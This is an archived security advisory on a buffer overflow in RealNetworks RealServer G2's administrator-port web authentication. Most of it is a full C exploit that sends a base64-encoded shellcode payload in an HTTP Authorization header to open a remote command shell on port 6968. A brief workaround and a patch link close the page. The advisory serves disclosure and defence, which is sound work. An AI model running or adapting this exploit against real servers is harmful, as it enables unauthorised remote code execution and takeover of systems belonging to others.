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TUCoPS :: Web :: Apps :: rserver3.htm

RealNetworks RealServer G2 Buffer Overflow



Vulnerability

    RealServer G2

Affected

    RealNetworks RealServer G2

Description

    dark spyrit found following.  A buffer overflow exists in the  web
    authentication on the RealServer  administrator port.  By  sending
    a long user/password pair you can overflow the buffer and  execute
    arbitrary code.  Example:

        GET /admin/index.html HTTP/1.0
        Connection: Keep-Alive
        ....
        Authorization: Basic <long base64 encoded user/password>

    As  basic  authorization  is  base64  encoded, this made coding an
    exploit  extremely  annoying  -  but,  of  course,  could be done.
    Example code has been written  for the latest (at present)  freely
    available NT version of RealServer G2 and is available at:

        http://www.beavuh.org

    The exploit will spawn a command prompt on port 6968 and has  been
    tested extensively.  This  was tested with a  default installation
    - if  RealServer is  installed in  a different  directory than the
    default, the  buffer will  need to  be adjusted  accordingly.  The
    administrator port  is randomly  selected at  installation, but as
    you'll only be testing on your own networks this shouldn't matter.

    This was  only checked  the NT  version of  this software  for the
    vulnerability,  and  it  is  unknown  whether  versions  on  other
    platforms are affected.

    /* RealNetworks RealServer G2 buffer overflow exploit
     *
     * by dark spyrit <dspyrit@beavuh.org>
     * quick unix port by team teso
     *
     * the windows binary is available at http://www.beavuh.org.
     *
     * This exploits a buffer overflow in RealServers web authentication on
     * the administrator port - hence the reason the shellcode is base64 encoded.
     * This has been tested on the NT version with a default installation.
     * If RealServer is installed in a different directory than the default, the
     * buffer will need to be adjusted accordingly.
     * The administrator port is randomly selected at installation, but as you'll
     * only be testing on your own networks this won't matter :)
     */

    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <fcntl.h>
    #include <netdb.h>


    /* local functions
     */
    unsigned long int	net_resolve (char *host);
    int			net_connect (struct sockaddr_in *cs, char *server,
	    unsigned short int port, int sec);

    unsigned char	sploit[] =
	    "GET /admin/index.html HTTP/1.0\x0d\x0a"
	    "Connection: Keep-Alive\x0d\x0a"
	    "User-Agent: Mozilla/4.04 [en] (X11; I; Beavuh OS .9 i486; Nav)\x0d\x0a"
	    "Host: 111.111.11.1:1111\x0d\x0a"
	    "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\x0d\x0a"
	    "Accept-Language: en\x0d\x0a"
	    "Accept-Charset: iso-8859-1,*,utf-8\x0d\x0a"
	    "Authorization: Basic kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
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	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
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	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
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	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
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	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
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	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
	    "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
	    "JCQkJCQkJCQkJCQkJCQkJCQ6wiQkJBXRToAkJCQkJCQkJCQkJCQkJCQkIt0JPiL/jPAUPf"
	    "QUFnyr1mxxovHSIAwmeL6M/aWu5mcQEbB6whW/xOL0PwzybELSTLArITAdflSUVZSs5T/E"
	    "6tZWuLsMsCshMB1+bOcVv8Ti9D8M8mxBjLArITAdflSUVZSs5T/E6tZWuLsg8YFM8BQQFB"
	    "AUP9X6JNqEFZT/1fsagJT/1fwM8BXULAMq1irQKtfSFBXVq1W/1fASFBXrVatVv9XwEiwR"
	    "IkHV/9XxDPAi0b0iUc8iUdAiwaJRzgzwGa4AQGJRyxXVzPAUFBQQFBIUFCtVjPAUP9XyP9"
	    "28P9XzP92/P9XzEhQUFP/V/SL2DPAtARQwegEUP9X1IvwM8CLyLUEUFBXUVD/d6j/V9CDP"
	    "wF8IjPAUFf/N1b/d6j/V9wLwHQvM8BQ/zdWU/9X+GpQ/1fg68gzwFC0BFBWU/9X/FczyVF"
	    "QVv93rP9X2GpQ/1fg66pQ/1fkkNLcy9fc1aqrmdrr/Pjt/Mnw6fyZ3vztyu346+3s6dD3/"
	    "/bYmdrr/Pjt/Mnr9vr86urYmdr19ur80fj3/fX8mcn8/PLX+PT8/cnw6fyZ3vX2+/j12PX"
	    "19vqZzuvw7fzf8PX8mcv8+P3f8PX8mcr1/Pzpmdzh8O3J6/b6/Orqmc7K1trSqquZ6vb68"
	    "vztmfvw9/2Z9fDq7fz3mfj6+vzp7Znq/Pf9mev8+u+Zm5mCoZmZmZmZmZmZmZmZmfr0/bf"
	    "84fyZ/////w==\x0d\x0a\x0d\x0a\x00";


    int
    main (int argc, char **argv)
    {
	    int			socket;
	    char			*server;
	    unsigned short int	port;
	    struct sockaddr_in	sa;

	    if (argc != 3) {
		    printf ("RealServer G2 exploit [NT] - please check http://www.beavuh.org for info.\n"
			    "by dark spyrit <dspyrit@beavuh.org>, port by team teso\n\n"
			    "usage: %s <host> <admin_port>\n"
			    "eg - %s host.com 6666\n"
			    "the exploit will spawn a command prompt on port 6968\n\n", argv[0], argv[0]);

		    exit (EXIT_FAILURE);
	    }

	    server = argv[1];
	    port = atoi (argv[2]);

	    socket = net_connect (&sa, server, port, 45);
	    if (socket <= 0) {
		    perror ("net_connect");
		    exit (EXIT_FAILURE);
	    }

	    write (socket, sploit, strlen (sploit));
	    sleep (1);
	    close (socket);

	    printf ("data sent. try \"telnet %s 6968\" now \n", server);

	    exit (EXIT_SUCCESS);
    }


    unsigned long int
    net_resolve (char *host)
    {
	    long		i;
	    struct hostent	*he;

	    i = inet_addr (host);
	    if (i == -1) {
		    he = gethostbyname (host);
		    if (he == NULL) {
			    return (0);
		    } else {
			    return (*(unsigned long *) he->h_addr);
		    }
	    }

	    return (i);
    }


    int
    net_connect (struct sockaddr_in *cs, char *server,
	    unsigned short int port, int sec)
    {
	    int		n, len, error, flags;
	    int		fd;
	    struct timeval	tv;
	    fd_set		rset, wset;

	    /* first allocate a socket */
	    cs->sin_family = AF_INET;
	    cs->sin_port = htons (port);
	    fd = socket (cs->sin_family, SOCK_STREAM, 0);
	    if (fd == -1)
		    return (-1);

	    cs->sin_addr.s_addr = net_resolve (server);
	    if (cs->sin_addr.s_addr == 0) {
		    close (fd);
		    return (-1);
	    }

	    flags = fcntl (fd, F_GETFL, 0);
	    if (flags == -1) {
		    close (fd);
		    return (-1);
	    }
	    n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
	    if (n == -1) {
		    close (fd);
		    return (-1);
	    }

	    error = 0;

	    n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
	    if (n < 0) {
		    if (errno != EINPROGRESS) {
			    close (fd);
			    return (-1);
		    }
	    }
	    if (n == 0)
		    goto done;

	    FD_ZERO(&rset);
	    FD_ZERO(&wset);
	    FD_SET(fd, &rset);
	    FD_SET(fd, &wset);
	    tv.tv_sec = sec;
	    tv.tv_usec = 0;

	    n = select(fd + 1, &rset, &wset, NULL, &tv);
	    if (n == 0) {
		    close(fd);
		    errno = ETIMEDOUT;
		    return (-1);
	    }
	    if (n == -1)
		    return (-1);

	    if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
		    if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
			    len = sizeof(error);
			    if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
				    errno = ETIMEDOUT;
				    return (-1);
			    }
			    if (error == 0) {
				    goto done;
			    } else {
				    errno = error;
				    return (-1);
			    }
		    }
	    } else
		    return (-1);

    done:
	    n = fcntl(fd, F_SETFL, flags);
	    if (n == -1)
		    return (-1);

	    return (fd);
    }

Solution

    Brendan Brannen posted  a workaround to  help any of  you that are
    using the RealServer G2:  "While this may not be the best fix  for
    everyone, on our  server, I simply  went in to  the .cfg file  and
    (after backing it up of  course) deleted the entry that  specified
    the  admin  port.  I  then  stopped  and  restarted  the  rmserver
    service.   While  this  does  of  course  effectively turn off the
    administrative capabilities  of the  software, you  can of  course
    switch between your backed up version  and the new one of the  CFG
    file to re-enable this service.   It's a kludge, but it fixes  the
    hole until Real comes out with something..."

    Update available on:

        http://service.real.com/help/faq/servg260.html


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